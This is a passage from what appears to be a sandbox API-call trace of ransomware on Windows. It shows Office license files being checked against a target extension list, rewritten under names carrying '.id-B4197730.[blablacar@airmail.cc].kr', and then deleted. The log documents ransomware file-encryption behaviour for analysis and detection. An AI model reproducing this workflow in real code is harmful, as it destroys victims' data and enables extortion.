Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0202.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0202.728] lstrlenW (lpString=".doc") returned 4 [0202.728] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.728] lstrlenW (lpString=".docx") returned 5 [0202.728] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.728] lstrlenW (lpString=".pdf") returned 4 [0202.728] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.728] lstrlenW (lpString=".xls") returned 4 [0202.728] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.728] lstrlenW (lpString=".xlsx") returned 5 [0202.728] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.728] lstrlenW (lpString=".ppt") returned 4 [0202.728] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0202.728] lstrlenW (lpString=".zip") returned 4 [0202.728] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.728] lstrlenW (lpString=".rar") returned 4 [0202.729] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.729] lstrlenW (lpString=".bz2") returned 4 [0202.729] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.729] lstrlenW (lpString=".7z") returned 3 [0202.729] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0202.729] lstrlenW (lpString=".dbf") returned 4 [0202.729] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0202.729] lstrlenW (lpString=".1cd") returned 4 [0202.729] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0202.729] lstrlenW (lpString=".jpg") returned 4 [0202.729] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.729] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.729] lstrlenW (lpString="O365HomePremR_SubTest2-ppd.xrm-ms") returned 33 [0202.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.730] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=23134) returned 1 [0202.730] CloseHandle (hObject=0x558) returned 1 [0203.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms")) returned 0x220 [0203.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0203.113] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.113] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0203.114] GetLastError () returned 0x0 [0203.114] ReadFile (in: hFile=0x564, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0203.117] WriteFile (in: hFile=0x56c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0203.121] ReadFile (in: hFile=0x564, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.121] WriteFile (in: hFile=0x56c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x116, lpOverlapped=0x0) returned 1 [0203.121] SetEndOfFile (hFile=0x56c) returned 1 [0203.121] CloseHandle (hObject=0x56c) returned 1 [0203.121] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.121] SetEndOfFile (hFile=0x564) returned 1 [0203.126] CloseHandle (hObject=0x564) returned 1 [0203.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms")) returned 1 [0203.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0203.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0203.128] lstrlenW (lpString=".doc") returned 4 [0203.128] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.128] lstrlenW (lpString=".docx") returned 5 [0203.128] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.128] lstrlenW (lpString=".pdf") returned 4 [0203.128] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.128] lstrlenW (lpString=".xls") returned 4 [0203.128] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.128] lstrlenW (lpString=".xlsx") returned 5 [0203.128] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.128] lstrlenW (lpString=".ppt") returned 4 [0203.128] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0203.128] lstrlenW (lpString=".zip") returned 4 [0203.128] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.128] lstrlenW (lpString=".rar") returned 4 [0203.128] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.128] lstrlenW (lpString=".bz2") returned 4 [0203.129] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.129] lstrlenW (lpString=".7z") returned 3 [0203.129] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0203.129] lstrlenW (lpString=".dbf") returned 4 [0203.129] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0203.129] lstrlenW (lpString=".1cd") returned 4 [0203.129] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0203.129] lstrlenW (lpString=".jpg") returned 4 [0203.129] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0203.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0203.129] lstrlenW (lpString=".doc") returned 4 [0203.129] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.129] lstrlenW (lpString=".docx") returned 5 [0203.129] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.129] lstrlenW (lpString=".pdf") returned 4 [0203.129] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.129] lstrlenW (lpString=".xls") returned 4 [0203.129] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.129] lstrlenW (lpString=".xlsx") returned 5 [0203.129] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.129] lstrlenW (lpString=".ppt") returned 4 [0203.129] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0203.129] lstrlenW (lpString=".zip") returned 4 [0203.129] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.129] lstrlenW (lpString=".rar") returned 4 [0203.129] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.129] lstrlenW (lpString=".bz2") returned 4 [0203.130] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.130] lstrlenW (lpString=".7z") returned 3 [0203.130] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0203.130] lstrlenW (lpString=".dbf") returned 4 [0203.130] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0203.130] lstrlenW (lpString=".1cd") returned 4 [0203.130] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0203.130] lstrlenW (lpString=".jpg") returned 4 [0203.130] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.130] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0203.130] lstrlenW (lpString="O365HomePremR_SubTest5-ppd.xrm-ms") returned 33 [0203.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0203.131] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=23134) returned 1 [0203.131] CloseHandle (hObject=0x564) returned 1 [0203.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms")) returned 0x220 [0203.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0203.132] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.132] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0203.132] GetLastError () returned 0x0 [0203.132] ReadFile (in: hFile=0x564, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0203.135] WriteFile (in: hFile=0x56c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0203.136] ReadFile (in: hFile=0x564, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.136] WriteFile (in: hFile=0x56c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x116, lpOverlapped=0x0) returned 1 [0203.136] SetEndOfFile (hFile=0x56c) returned 1 [0203.137] CloseHandle (hObject=0x56c) returned 1 [0203.137] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.137] SetEndOfFile (hFile=0x564) returned 1 [0203.140] CloseHandle (hObject=0x564) returned 1 [0203.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms")) returned 1 [0203.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0203.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0203.141] lstrlenW (lpString=".doc") returned 4 [0203.141] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.141] lstrlenW (lpString=".docx") returned 5 [0203.141] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.141] lstrlenW (lpString=".pdf") returned 4 [0203.141] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.141] lstrlenW (lpString=".xls") returned 4 [0203.141] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.141] lstrlenW (lpString=".xlsx") returned 5 [0203.141] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.141] lstrlenW (lpString=".ppt") returned 4 [0203.141] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0203.141] lstrlenW (lpString=".zip") returned 4 [0203.141] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.141] lstrlenW (lpString=".rar") returned 4 [0203.141] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.141] lstrlenW (lpString=".bz2") returned 4 [0203.141] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.141] lstrlenW (lpString=".7z") returned 3 [0203.141] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0203.141] lstrlenW (lpString=".dbf") returned 4 [0203.141] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0203.141] lstrlenW (lpString=".1cd") returned 4 [0203.141] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0203.142] lstrlenW (lpString=".jpg") returned 4 [0203.142] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0203.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0203.142] lstrlenW (lpString=".doc") returned 4 [0203.142] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.142] lstrlenW (lpString=".docx") returned 5 [0203.142] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.142] lstrlenW (lpString=".pdf") returned 4 [0203.142] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.142] lstrlenW (lpString=".xls") returned 4 [0203.142] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.142] lstrlenW (lpString=".xlsx") returned 5 [0203.142] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.142] lstrlenW (lpString=".ppt") returned 4 [0203.142] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0203.142] lstrlenW (lpString=".zip") returned 4 [0203.142] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.142] lstrlenW (lpString=".rar") returned 4 [0203.142] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.142] lstrlenW (lpString=".bz2") returned 4 [0203.142] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.142] lstrlenW (lpString=".7z") returned 3 [0203.142] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0203.142] lstrlenW (lpString=".dbf") returned 4 [0203.142] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0203.142] lstrlenW (lpString=".1cd") returned 4 [0203.142] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0203.142] lstrlenW (lpString=".jpg") returned 4 [0203.142] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.143] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0203.143] lstrlenW (lpString="O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 36 [0203.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0203.144] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11630) returned 1 [0203.144] CloseHandle (hObject=0x564) returned 1 [0203.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms")) returned 0x220 [0203.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0203.144] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.144] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0203.145] GetLastError () returned 0x0 [0203.145] ReadFile (in: hFile=0x564, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0203.352] WriteFile (in: hFile=0x56c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0203.354] ReadFile (in: hFile=0x564, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.354] WriteFile (in: hFile=0x56c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11c, lpOverlapped=0x0) returned 1 [0203.354] SetEndOfFile (hFile=0x56c) returned 1 [0203.354] CloseHandle (hObject=0x56c) returned 1 [0203.354] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.354] SetEndOfFile (hFile=0x564) returned 1 [0203.357] CloseHandle (hObject=0x564) returned 1 [0203.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms")) returned 1 [0204.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0204.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0204.074] lstrlenW (lpString=".doc") returned 4 [0204.074] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.074] lstrlenW (lpString=".docx") returned 5 [0204.074] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.074] lstrlenW (lpString=".pdf") returned 4 [0204.074] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.074] lstrlenW (lpString=".xls") returned 4 [0204.074] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.074] lstrlenW (lpString=".xlsx") returned 5 [0204.074] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.074] lstrlenW (lpString=".ppt") returned 4 [0204.074] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0204.074] lstrlenW (lpString=".zip") returned 4 [0204.075] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.075] lstrlenW (lpString=".rar") returned 4 [0204.075] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.075] lstrlenW (lpString=".bz2") returned 4 [0204.075] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.075] lstrlenW (lpString=".7z") returned 3 [0204.075] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0204.075] lstrlenW (lpString=".dbf") returned 4 [0204.075] lstrcmpiW (lpString1=".dbf", 